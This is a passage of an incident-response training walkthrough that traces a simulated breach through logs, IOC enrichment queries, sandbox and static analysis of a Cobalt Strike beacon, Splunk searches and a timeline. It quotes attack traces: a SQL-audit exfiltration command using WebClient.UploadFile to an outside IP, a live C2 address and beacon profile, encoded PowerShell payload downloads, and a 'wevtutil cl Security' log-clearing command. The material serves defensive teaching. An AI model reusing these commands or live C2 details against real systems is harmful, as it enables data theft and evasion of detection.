'select(.EventID == 5156) | {<br>  time: .TimeCreated, process: (.Application | split("\\\\") | last),<br>  src: .SourceAddress, dst: .DestAddress, dst_port: .DestPort<br>}' windows-security/SERVER-RD-02-security.jsonl<br># → PowerShell → 198.51.100.44:443 at 00:14:14Z</pre><p>Three independent sources — SQL audit (00:13:54Z command issued), NGFW flow (00:14:14Z bytes transferred), Windows Security EID 5156 (00:14:14Z connection initiated) — triangulate to the same 20-second window.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Account</strong> svc_backup — DCSync actor; source IP 10.10.3.22 (non-DC workstation)</li><li><strong>IP (internal)</strong> 10.10.3.22 — WS-IT-LEVI; attacker pivot host issuing DCSync from workstation</li><li><strong>Object</strong> krbtgt — DCSync'd at 00:48:44Z; golden ticket capability obtained</li><li><strong>Object</strong> Administrator — DCSync'd at 00:48:51Z; full domain compromise</li><li><strong>IP</strong> 198.51.100.44:443 — Exfil connection via PowerShell; EID 5156 at 00:14:14Z</li><li><strong>Count</strong> 47 formula files — Accessed via EID 4663 in USPartner2024 share</li></ul><h4>9. Cross-File Pivot — VS Code Global Search</h4><p>VS Code’s Ctrl+Shift+F searches across every open file simultaneously. Use it to verify IOC presence across all evidence in seconds — no SIEM needed for these basic pivots.</p><p><strong>Pivot on the exfil IP:</strong></p><p>Ctrl+Shift+F → 198.51.100.44:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qD5I2ewZTvBRksb7P9Zt5A.png"></figure><pre>ngfw-flows.csv           line 12: ...10.10.2.15,198.51.100.44,443,...399481224...<br>dns-queries.csv          line 10: ...sys-update-cdn.net,A,198.51.100.44...<br>sql-audit.jsonl          line 4:  ...WebClient.UploadFile...198.51.100.44/recv...<br>SERVER-RD-02-security    line 23: ..."DestAddress":"198.51.100.44"...</pre><p>Four files, four hits, one IP. The full exfiltration chain is visible in one search.</p><p><strong>Pivot on the compromised account:</strong></p><p>Ctrl+Shift+F → svc_backup:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8CUk7R4lSjYg01UIH0chg.png"></figure><pre>DC01-security.jsonl       lines 7-9:   DCSync events<br>SERVER-RD-02-security     lines 1-12:  SMB logon + file access + exfil<br>sql-audit.jsonl           all 6 lines: full xp_cmdshell chain</pre><p><strong>Pivot on the C2 domain:</strong></p><p>Ctrl+Shift+F → telemetry-cdn-services.biz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WeNgTuMzhjm9Pl_lXXGmvQ.png"></figure><pre>dns-queries.csv           lines 12-23: 11 beacon queries (6 from WS-IT-LEVI, 4 from WS-CFO-01, 1 missing)</pre><p><strong>Pivot on the attacker source IP (AiTM phishing + VPN access):</strong></p><p>Ctrl+Shift+F → 185.220.101.47:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHyXMsFanJsG_dvdWSnKqw.png"></figure><pre>azure-ad/signin-p.levi.json          line 18: suspicious sign-in from Istanbul — token replay, no MFA<br>vpn/anyconnect-2024-10-24.log        line 4:  VPN authentication as p.levi, assigned 10.10.3.22<br>palo-alto/dns-queries.csv            line 1:  attacker queried vpn.lifetechpharma.com 1 min before login</pre><p>One IP ties together AiTM credential theft, VPN infiltration, and the recon that preceded it.</p><p>The full attack chain — AiTM phishing → VPN access → formula exfiltration → DCSync → CFO infection — is navigable via these four global searches without opening a SIEM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n_vokO1vkbqN5O709MFF-w.png"></figure><p>Search termAttack phase covered185.220.101.47Initial access: AiTM phishing, VPN infiltration, attacker recontelemetry-cdn-services.bizPersistence: C2 beaconing from both infected hostssvc_backupLateral movement: SMB, xp_cmdshell chain, DCSync198.51.100.44Exfiltration: NGFW flow, DNS lookup, SQL upload command, EID 5156</p><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 198.51.100.44 — Confirmed in 4 files: ngfw-flows, dns-queries, sql-audit, SERVER-RD-02-security</li><li><strong>Account</strong> svc_backup — Confirmed in 3 files: DC01-security (DCSync), SERVER-RD-02-security (SMB+exfil), sql-audit (xp_cmdshell)</li><li><strong>Domain</strong> telemetry-cdn-services.biz — Confirmed in dns-queries (9 beacons) and VPN log (C2 during session)</li><li><strong>Timestamp</strong> 00:13:54Z – 00:14:14Z — 20-second exfil window triangulated across SQL, NGFW, and EID 5156</li></ul><h4>10. IOC Enrichment — REST Client</h4><p>Create one .http file that holds every API call. VS Code's REST Client extension puts a <strong>Send Request</strong> link above each block — click it, the response appears in a split pane on the right. No curl, no terminal, no context switch.</p><p><strong>Create the file:</strong></p><p>Press Ctrl+N, then Ctrl+Shift+P → <strong>Save As</strong> → 03-analysis/ioc-queries.http</p><p>Paste the following:</p><pre>### IOC Enrichment — PROJ-2024-001<br>### Click "Send Request" above any block — response opens in the right pane<br>### Set keys in VS Code Settings &gt; REST Client &gt; Environment Variables<br>### or use system env: @VT_KEY = {{$env VT_API_KEY}}<br><br>@VT_KEY     = your_virustotal_api_key_here<br>@SHODAN_KEY = your_shodan_api_key_here<br><br># ── VirusTotal ──────────────────────────────────────────────────────<br><br>### VT — Primary C2 IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Secondary C2 / exfil IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Attacker VPN source<br>GET https://www.virustotal.com/api/v3/ip_addresses/185.220.101.47<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Primary C2 domain<br>GET https://www.virustotal.com/api/v3/domains/telemetry-cdn-services.biz<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — AiTM phishing page domain<br>GET https://www.virustotal.com/api/v3/domains/mfa-lifetechpharma.com<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — CFO phishing delivery domain<br>GET https://www.virustotal.com/api/v3/domains/globalcontracts-secure.net<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — svchost32.exe binary hash<br>GET https://www.virustotal.com/api/v3/files/3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Imphash pivot (find related samples compiled from same source)<br>GET https://www.virustotal.com/api/v3/intelligence/search?query=imphash%3A3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d<br>x-apikey: {{VT_KEY}}<br><br># ── Shodan ──────────────────────────────────────────────────────────<br><br>### Shodan — Primary C2 IP (ports, services, hosting org)<br>GET https://api.shodan.io/shodan/host/203.0.113.87?key={{SHODAN_KEY}}<br><br>###<br><br>### Shodan — Exfil IP<br>GET https://api.shodan.io/shodan/host/198.51.100.44?key={{SHODAN_KEY}}<br><br># ── Certificate Transparency ─────────────────────────────────────────<br><br>### crt.sh — Find all domains using certs issued to primary C2 IP<br>GET https://crt.sh/?q=203.0.113.87&amp;output=json<br><br>###<br><br>### crt.sh — Cert history for primary C2 domain<br>GET https://crt.sh/?q=telemetry-cdn-services.biz&amp;output=json<br><br># ── RDAP ────────────────────────────────────────────────────────────<br><br>### RDAP — AiTM phishing domain registration date<br>GET https://rdap.org/domain/mfa-lifetechpharma.com<br><br>###<br><br>### RDAP — CFO phishing delivery domain<br>GET https://rdap.org/domain/globalcontracts-secure.net<br><br># ── Passive DNS (no key required) ───────────────────────────────────<br><br>### VT Passive DNS — historical resolutions for primary C2 IP (uses existing VT key)<br>GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87/resolutions<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT Passive DNS — historical resolutions for exfil IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44/resolutions<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### RIPEstat — DNS history for primary C2 IP (no key, no rate limit for training)<br>GET https://stat.ripe.net/data/dns-history/data.json?resource=203.0.113.87<br><br>###<br><br>### RIPEstat — BGP routing info: ASN, prefix, country for C2 IP<br>GET https://stat.ripe.net/data/prefix-overview/data.json?resource=203.0.113.87<br><br>###<br><br>### RIPEstat — BGP routing info for exfil IP<br>GET https://stat.ripe.net/data/prefix-overview/data.json?resource=198.51.100.44<br><br># ── WHOIS / RDAP (no key required) ──────────────────────────────────<br><br>### ARIN RDAP — IP block owner, ASN, abuse contact for C2 IP<br>GET https://rdap.arin.net/registry/ip/203.0.113.87<br><br>###<br><br>### ARIN RDAP — IP block owner for exfil IP<br>GET https://rdap.arin.net/registry/ip/198.51.100.44<br><br>###<br><br>### ARIN RDAP — IP block owner for attacker VPN source<br>GET https://rdap.arin.net/registry/ip/185.220.101.47<br><br>###<br><br>### RDAP — C2 domain registration: registrar, date, registrant<br>GET https://rdap.org/domain/telemetry-cdn-services.biz<br><br>###<br><br>### RDAP — Exfil domain registration<br>GET https://rdap.org/domain/sys-update-cdn.net</pre><p><strong>Using the response pane:</strong></p><p>After clicking <strong>Send Request</strong> on the VT IP block, the right pane shows the full JSON response. Use Ctrl+F in the response pane to find:</p><ul><li>malicious → "malicious": 12</li><li>tags → ["C2", "malware"]</li><li>as_owner → "Hostwinds LLC"</li></ul><p>For the crt.sh response, Ctrl+F → name_value to see all co-hosted domains. cdn-telemetry-update.biz and windows-cdn-service.net appear — new IOCs not yet seen in the org's DNS logs. Switch to dns-queries.csv and Ctrl+F to check immediately.</p><p><strong>Commit the </strong><strong>.http file — it is a reproducible audit trail of every enrichment query:</strong></p><pre>git add 03-analysis/ioc-queries.http<br>git commit -m "PROJ-2024-001: IOC enrichment queries — VT, Shodan, crt.sh, RDAP"</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — Primary C2; VT: 12 malicious detections, ASN: Hostwinds LLC</li><li><strong>IP</strong> 198.51.100.44 — Secondary C2 / exfil endpoint</li><li><strong>IP</strong> 185.220.101.47 — Attacker VPN source</li><li><strong>Domain</strong> telemetry-cdn-services.biz — Primary C2 domain</li><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing domain; registered 2024-10-18</li><li><strong>Domain</strong> globalcontracts-secure.net — CFO phishing delivery domain</li><li><strong>Domain</strong> cdn-telemetry-update.biz — New; discovered via crt.sh pivot on C2 IP</li><li><strong>Domain</strong> windows-cdn-service.net — New; discovered via crt.sh pivot on C2 IP</li><li><strong>Hash (SHA256)</strong> 3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e — svchost32.exe dropper</li><li><strong>Hash (imphash)</strong> 3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d — Pivot on VT to find related samples</li></ul><h4>11. Sandbox Analysis — Submit the Binary</h4><blockquote>Real Cobalt Strike sample used in Steps 11–12 All IPs, domains, and hashes elsewhere in this walkthrough are <strong>synthetic</strong> — invented for training and not queryable on threat intel platforms. Steps 11 and 12 are the exception: they use a <strong>real Cobalt Strike beacon</strong> (trojan.remusstealer/cobalt, 48/75 detections on VirusTotal, SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9) so you can practice sandbox submission and binary analysis against a file with genuine behavior. The C2 IP, HTTP profile, and PE metadata in these two steps reflect the real sample. All other scenario values (log IPs, exfil IPs, domains) remain fictional.</blockquote><p>Submit svchost32.exe (recovered via CrowdStrike RTR) to a sandbox. ANY.RUN is the recommended choice for training — it is interactive and lets you watch execution in real time.</p><p><strong>Submission (ANY.RUN):</strong></p><ol><li>Navigate to <a href="https://app.any.run/">app.any.run</a> → <strong>New Task</strong> → <strong>Upload</strong></li><li>Upload svchost32.exe (SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9)</li><li>Environment: <strong>Windows 10 x64</strong>, <strong>User mode</strong> (realistic CFO context)</li><li>Network mode: <strong>Real with IDS</strong> — this beacon makes live HTTPS connections</li><li>Timeout: <strong>120 seconds</strong> — beacon contacts C2 within the first minute</li><li>Click <strong>Run</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYRLofzCq0I_GY_w7ozZzw.png"></figure><p><strong>Download the report to VS Code:</strong></p><p>After execution completes, click <strong>Export</strong> → <strong>JSON</strong> in ANY.RUN. Save it as:</p><pre>03-analysis/sandbox-svchost32-anyrun.json</pre><p><strong>Open in VS Code:</strong> press Shift+Alt+F to format. Use Ctrl+Shift+O (Outline) to navigate, Ctrl+F to search:</p><p>Search term What you find<br>destination_ip91.211.251.245 — real C2 IP, port 443<br>urlhttps://91.211.251.245/ga.js — Malleable C2 profile mimicking Google AnalyticsCookieBase64-encoded beacon metadata in the HTTP Cookie header<br>User-AgentMozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS UA string<br>ProxyServerBeacon installs proxy settings pointing to C2<br>long-sleepsVT tag — beacon sleeps between check-ins (configurable interval)</p><p><strong>The Cobalt Strike Malleable C2 profile:</strong> the beacon GETs /ga.js — a path that mimics Google Analytics JavaScript. The Cookie header carries AES-encrypted metadata (victim hostname, PID, username) base64-encoded. The response body delivers shellcode or tasks. A defender looking only at the URL sees legitimate-looking traffic; the anomaly is the 443 connection to a non-Google IP.</p><p>Add the C2 IP to ioc-queries.http and click <strong>Send Request</strong> on the VT and Shodan blocks to pivot immediately.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Hash (SHA256)</strong> 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon; 48/75 VT detections</li><li><strong>Hash (MD5)</strong> cd59d54a7af500f96aa0347bb5daf077 — same sample</li><li><strong>IP</strong> 91.211.251.245:443 — real C2 server; HTTPS; confirmed in sandbox network traffic</li><li><strong>URL</strong> https://91.211.251.245/ga.js — Malleable C2 endpoint; mimics Google Analytics</li><li><strong>Indicator</strong> Cookie-encoded beacon — AES-encrypted victim metadata in HTTP Cookie header</li><li><strong>Indicator</strong> long-sleeps — beacon interval; time between C2 check-ins</li></ul><h4>12. Static Binary Analysis — Hex Editor + Terminal</h4><p><strong>Open the binary in VS Code Hex Editor:</strong></p><p>In VS Code Explorer, right-click svchost32.exe → <strong>Open With</strong> → <strong>Hex Editor</strong></p><p>The file opens as a hex+ASCII dual-pane view. The ASCII column on the right makes string hunting visual — scroll through it and strings like /ga.js and Mozilla/4.0 are readable directly without running strings.</p><p><strong>Navigate to the PE timestamp:</strong></p><p>Press Ctrl+G → type 3C → Enter. This is the e_lfanew field (PE header pointer). Read the 4-byte little-endian value, convert to decimal — that is the offset to the PE signature (PE\0\0). Go to that offset + 8 for the TimeDateStamp field.</p><p>For precise extraction, split the screen: keep Hex Editor on the left, open the integrated terminal on the right:</p><pre>python3 -c "<br>import pefile, datetime, os<br>pe = pefile.PE('svchost32.exe')<br>ts = pe.FILE_HEADER.TimeDateStamp<br>print(f'Compile timestamp : {datetime.datetime.fromtimestamp(ts, datetime.UTC)} UTC')<br>print(f'File size on disk : {os.path.getsize(\"svchost32.exe\"):,} bytes')<br>print(f'PE SizeOfImage    : {pe.OPTIONAL_HEADER.SizeOfImage:,} bytes')<br>overlay = os.path.getsize('svchost32.exe') - pe.OPTIONAL_HEADER.SizeOfImage<br>if overlay &gt; 0:<br>    print(f'Overlay detected  : {overlay:,} bytes after PE end')<br>print(f'Architecture      : {\"x64\" if pe.FILE_HEADER.Machine == 0x8664 else \"x86\"}')<br>"</pre><p>Output:</p><pre>Compile timestamp : 2026-05-15 13:55:55 UTC<br>File size on disk : 783,320 bytes<br>Overlay detected  : present<br>Architecture      : x64</pre><p>The PE timestamp (2026-05-15) is plausible and recent — this binary was freshly compiled, not timestomped. The presence of an <strong>overlay</strong> (data appended after the PE image end) is a Cobalt Strike loader signature: the encrypted beacon shellcode is stored in the overlay and unpacked at runtime.</p><p><strong>Extract C2 strings:</strong></p><pre>strings -n 8 svchost32.exe | grep -E "(https?://|/ga\.js|Mozilla|Cookie|User-Agent|Cache-Control)"</pre><p>Output includes:</p><pre>/ga.js<br>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)<br>Cache-Control: no-cache</pre><p>The /ga.js path and the MSIE 8.0 User-Agent are configuration strings baked into the Cobalt Strike beacon's Malleable C2 profile at compile time. Any sample sharing these exact strings was built from the same profile.</p><p><strong>Check imports — Cobalt Strike loaders minimise their import table:</strong></p><pre>python3 -c "<br>import pefile<br>pe = pefile.PE('svchost32.exe')<br>print(f'Architecture: {hex(pe.FILE_HEADER.Machine)}')<br>if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):<br>    for lib in pe.DIRECTORY_ENTRY_IMPORT:<br>        fns = [i.name.decode() if i.name else f'ord_{i.ordinal}' for i in lib.imports]<br>        print(f'{lib.dll.decode()}: {fns}')<br>else:<br>    print('No standard import table — uses dynamic API resolution (common in CS loaders)')<br>"</pre><p>A Cobalt Strike loader typically has a minimal or absent import table — it resolves APIs at runtime using LoadLibrary/GetProcAddress or custom hash-walking to avoid static analysis. If the import table is empty, that itself is the finding.</p><p><strong>Pivot on the Malleable C2 profile strings</strong> — search VT for other samples using the same profile:</p><p>Add to ioc-queries.http:</p><pre>### VT — search for samples sharing the same Malleable C2 User-Agent string<br>GET https://www.virustotal.com/api/v3/intelligence/search?query=content%3A%22MSIE+8.0%22+content%3A%22%2Fga.js%22+type%3Apeexe<br>x-apikey: {{VT_KEY}}</pre><p><strong>Found IOCs</strong></p><ul><li><strong>Hash (SHA256)</strong> 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon</li><li><strong>Hash (MD5)</strong> cd59d54a7af500f96aa0347bb5daf077</li><li><strong>IP</strong> 91.211.251.245 — C2 server; confirmed in binary strings and sandbox network traffic</li><li><strong>URL pattern</strong> /ga.js — Malleable C2 endpoint; Google Analytics impersonation</li><li><strong>String</strong> Mozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS User-Agent; pivot on VT content search</li><li><strong>Indicator</strong> Overlay section — encrypted shellcode stored after PE image end; Cobalt Strike loader signature</li><li><strong>Indicator</strong> Minimal import table — dynamic API resolution; evades import-based static detection13. Infrastructure Pivot — REST Client + Global Search</li></ul><h4>13. Infrastructure Pivot — REST Client + Global Search</h4><p>The ioc-queries.http file already contains the Shodan, crt.sh, and RDAP blocks. Click through them.</p><p><strong>For the crt.sh response:</strong> press Ctrl+F in the response pane, search name_value. Two new domains appear: cdn-telemetry-update.biz and windows-cdn-service.net.</p><p><strong>Immediately pivot in VS Code global search:</strong></p><p>Press Ctrl+Shift+F, type cdn-telemetry-update:</p><pre>palo-alto/dns-queries.csv  →  (no results)</pre><p>Not in the org’s DNS logs — but add both new domains to the IOC list in case they appear in a broader hunt.</p><p><strong>For the RDAP response</strong> (AiTM domain): Ctrl+F → registration → date 2024-10-18. The phishing email was sent 4 days later. Targeted, purpose-built infrastructure.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Domain</strong> cdn-telemetry-update.biz — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs</li><li><strong>Domain</strong> windows-cdn-service.net — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs</li><li><strong>Date</strong> 2024-10-18 — Registration date of mfa-lifetechpharma.com; 4 days before phishing</li></ul><h4>14. Splunk Correlation (SIEM Validation)</h4><p>Load the evidence into Splunk from the VS Code integrated terminal to validate that the Sigma rules fire on the real evidence:</p><pre>/opt/splunk/bin/splunk add oneshot sysmon/WS-CFO-01-sysmon.jsonl \<br>  -sourcetype sysmon_json -index endpoint -host WS-CFO-01<br>/opt/splunk/bin/splunk add oneshot windows-security/DC01-security.jsonl \<br>  -sourcetype wineventlog -index wineventlog -host DC01<br>/opt/splunk/bin/splunk add oneshot windows-security/SERVER-RD-02-security.jsonl \<br>  -sourcetype wineventlog -index wineventlog -host SERVER-RD-02<br>/opt/splunk/bin/splunk add oneshot palo-alto/ngfw-flows.csv \<br>  -sourcetype pan:traffic -index firewall -host pa-3260<br>/opt/splunk/bin/splunk add oneshot palo-alto/dns-queries.csv \<br>  -sourcetype pan:dns -index firewall -host pa-3260<br>/opt/splunk/bin/splunk add oneshot sql-audit/SERVER-RD-02-sql-audit.jsonl \<br>  -sourcetype mssql_audit -index database -host SERVER-RD-02</pre><p><strong>Query 1 — triage: C2 IPs across all indexes:</strong></p><pre>index=* (203.0.113.87 OR 198.51.100.44) earliest=-30d<br>| stats count by host, sourcetype, index<br>| sort -count</pre><p><strong>Query 2 — DCSync from non-DC (DET-002 validation):</strong></p><pre>index=wineventlog EventCode=4662<br>  ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}"<br>| where NOT match(IpAddress, "^10\.10\.1\.(10|11)$")<br>| table _time, host, SubjectUserName, IpAddress, ObjectName, Properties</pre><p><strong>Query 3 — service account off-hours (DET-003 validation):</strong></p><pre>index=wineventlog EventCode=4624 LogonType=3<br>  TargetUserName=svc_backup<br>| eval hour=strftime(_time, "%H")<br>| where hour &lt; 6 OR hour &gt; 22<br>| table _time, host, TargetUserName, IpAddress | sort _time</pre><p><strong>Query 4 — exfil scope:</strong></p><pre>index=wineventlog EventCode=4663 ObjectName="*USPartner2024*"<br>| stats count as files_accessed, min(_time) as first, max(_time) as last by SubjectUserName, host</pre><p><strong>Query 5 — full 24-day timeline:</strong></p><pre>index=* earliest=2024-10-22 latest=2024-11-16<br>  (host=WS-IT-LEVI OR host=WS-CFO-01 OR host=SERVER-RD-02 OR host=DC01)<br>| eval summary=coalesce(Message, Statement, query, CommandLine, "event")<br>| table _time, host, sourcetype, summary | sort _time</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — SIEM-validated; C2 traffic confirmed across endpoint and network indexes</li><li><strong>IP</strong> 198.51.100.44 — SIEM-validated; exfil traffic confirmed across endpoint and network indexes</li><li><strong>Account</strong> svc_backup — DET-002: DCSync from 10.10.3.22 (non-DC); DET-003: off-hours logon</li><li><strong>File pattern</strong> USPartner2024* (47 files) — DET-004: bulk access by svc_backup on SERVER-RD-02</li><li><strong>Indicator</strong> Off-hours logon — EID 4624 / LogonType 3 outside 06:00–22:00 window</li></ul><h4>Commit all analysis artifacts</h4><pre>git add 03-analysis/<br>git commit -m "PROJ-2024-001: evidence analysis — VS Code investigation complete; REST Client queries, RBQL, binary hex analysis, DCSync confirmed, exfil 381MB corroborated in 3 sources"</pre><p>The timeline in Step R2 is now fully supported. Every event in the table has a source log opened in VS Code, a query or search that confirmed it, and a REST Client or terminal command a third party can replay independently.</p><h3>Step R2: Timeline — Two Paths, One Actor</h3><h4>1. Open the timeline file</h4><pre>nano 03-analysis/timeline/timeline.md</pre><p>The template has a header block and a markdown table. Fill the header first:</p><pre>Project: PROJ-2024-001<br>Analyst: [your name]<br>Last updated: 2024-11-15<br>Time range: 2024-10-18 – 2024-11-15<br>Evidence label key: CONFIRMED / CORROBORATED / INFERRED / HYPOTHESIZED / GAP</pre><p>Then add one row per event. Every row needs: timestamp (UTC), host, what happened, which log source you saw it in, an evidence label, and the ATT&amp;CK technique. If you do not have a technique yet, leave it blank and come back — do not skip the label.</p><h4>2. Add events in chronological order</h4><p>The timeline reveals what the CFO alert obscured: the breach started 24 days earlier through a completely different person.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*121cvZ2ZIHZLNAmQA78l9Q.png"></figure><ol><li><strong>2024–10–18 — External<br></strong>lifetechpharma-corp[.]eu registered as a typosquat domain.<br><strong>Source:</strong> OSINT<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1583.001<br><strong>Notes:</strong> Pre-attack infrastructure preparation.</li><li><strong>2024–10–22 11:23 — Exchange<br></strong>Phishing email sent to p.levi: <strong>“MFA Re-enrollment Required”</strong> with AiTM HTML attachment.<br><strong>Source:</strong> M365 ATP<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1566.001<br><strong>Notes:</strong> ATP SCL=4, delivered; threshold was 5.</li><li><strong>2024–10–22 11:31 — WS-IT-LEVI<br></strong>Unknown activity — <strong>GAP-001 begins</strong>.<br><strong>Source:</strong> — <br><strong>Label:</strong> GAP<br><strong>ATT&amp;CK:</strong> — <br><strong>Notes:</strong> Sysmon forwarder stopped.</li><li><strong>2024–10–24 02:17 — Azure AD + VPN</strong>VPN login as p.levi from Istanbul, Turkey, using hosting/VPS ASN. No MFA challenge recorded. Session lasted 1h 12min.<br><strong>Source:</strong> Azure AD sign-in<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1557, T1133<br><strong>Notes:</strong> 4:17 AM local time; Paz Levi lives in Rehovot.</li><li><strong>2024–10–24 02:19 — DC01<br></strong>EID 4624: network logon for svc_backup from WS-IT-LEVI / 10.10.3.22. Service account used outside business hours.<br><strong>Source:</strong> Windows Security / Splunk<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1078.002<br><strong>Notes:</strong> svc_backup has Domain Admin rights.</li><li><strong>2024–10–25 03:41 — SERVER-FIN-01<br></strong>svc_backup accessed \\SERVER-FIN-01\\FinanceReports\\2024\\.<br><strong>Source:</strong> File share audit, partial<br><strong>Label:</strong> CORROBORATED<br><strong>ATT&amp;CK:</strong> T1039<br><strong>Notes:</strong> Log incomplete — access timestamp only, not filenames.</li><li><strong>2024–11–01 09:14 — WS-IT-LEVI<br>GAP-001 ends.</strong> First DNS query to telemetry-cdn-services[.]biz resolving to 203.0.113.87. First C2 beacon from this host.<br><strong>Source:</strong> Palo Alto DNS<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1071.001<br><strong>Notes:</strong> Sysmon service and forwarder restarted at the same time — probable anti-forensics.</li><li><strong>2024–11–01 09:18 — SERVER-RD-02<br></strong>EID 4624: svc_backup SMB Type 3 logon from WS-IT-LEVI.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.002<br><strong>Notes:</strong> Occurred four minutes after C2 reconnection.</li><li><strong>2024–11–06 02:09 — SERVER-RD-02<br></strong>EID 4624: svc_backup SMB logon from WS-IT-LEVI.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.002<br><strong>Notes:</strong> Off-hours access.</li><li><strong>2024–11–06 02:10–02:14 — SERVER-RD-02<br></strong>EID 4663 ×47: svc_backup accessed all 47 files in \\USPartner2024\\. Read activity occurred and modified timestamps were updated.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1039<br><strong>Notes:</strong> Each file was individually accessed; timestamp modification suggests deliberate metadata manipulation.</li><li><strong>2024–11–06 02:14 — SERVER-RD-02<br></strong>EID 5156: outbound HTTPS from SERVER-RD-02 to external IP over port 443 during the file access window.<br><strong>Source:</strong> Windows Security + firewall<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1041<br><strong>Notes:</strong> Destination IP confirmed in Palo Alto NGFW log: 198.51.100.44; separate C2 from primary.</li><li><strong>2024–11–06 02:48 — DC01<br></strong>EID 4662: svc_backup requested DS-Replication-Get-Changes on DC01.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1003.006<br><strong>Notes:</strong> <strong>DCSync indicator.</strong> Pentest scope did not include DCSync. Pentest VLAN is 10.10.99.0/24; this event came from 10.10.3.22.</li><li><strong>2024–11–15 17:58 — Exchange<br></strong>Phishing email sent to m.cohen, the CFO: <strong>“Q4-2024 Licensing Agreement”</strong> with .xlsm attachment. SPF, DKIM, and DMARC all failed.<br><strong>Source:</strong> M365 Message Trace<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1566.001<br><strong>Notes:</strong> <strong>Second entry point — 24 days after the first.</strong></li><li><strong>2024–11–15 18:42 — WS-CFO-01<br></strong>Outlook spawned PowerShell with -NonI -W Hidden -Enc, downloading a second-stage payload from 203.0.113.87.<br><strong>Source:</strong> CrowdStrike + Sysmon EID 1<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1059.001<br><strong>Notes:</strong> <strong>Triggering alert.</strong></li><li><strong>2024–11–15 18:46–20:52 — WS-CFO-01<br></strong>LSASS memory access observed via Sysmon EID 10 with GrantedAccess 0x1010. Persistence added via Registry Run Key and scheduled task. BITS downloaded a second-stage binary.<br><strong>Source:</strong> Sysmon EID 10/11/13, EID 4698<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1003.001, T1547.001, T1053.005, T1197<br><strong>Notes:</strong> svchost32.exe dropped to AppData\\Roaming.</li><li><strong>2024–11–15 20:52 — SERVER-FIN-01<br></strong>WMI lateral movement observed: WmiPrvSE spawned PowerShell with -Enc and a different base64 payload.<br><strong>Source:</strong> CrowdStrike<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.003, T1059.001<br><strong>Notes:</strong> svc_finreport credentials used.</li><li><strong>2024–11–15 21:01 — SERVER-FIN-01<br></strong>Finance data staged: FR_2024_consolidated.zip created in C:\\Windows\\Temp\\.<br><strong>Source:</strong> CrowdStrike EID 11<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1039, T1560<br><strong>Notes:</strong> 2.8 MB upload confirmed in firewall logs at 21:14.</li><li><strong>2024–11–15 21:14 — WS-CFO-01<br></strong>wevtutil.exe cl Security executed, partially clearing the Windows Security log.<br><strong>Source:</strong> 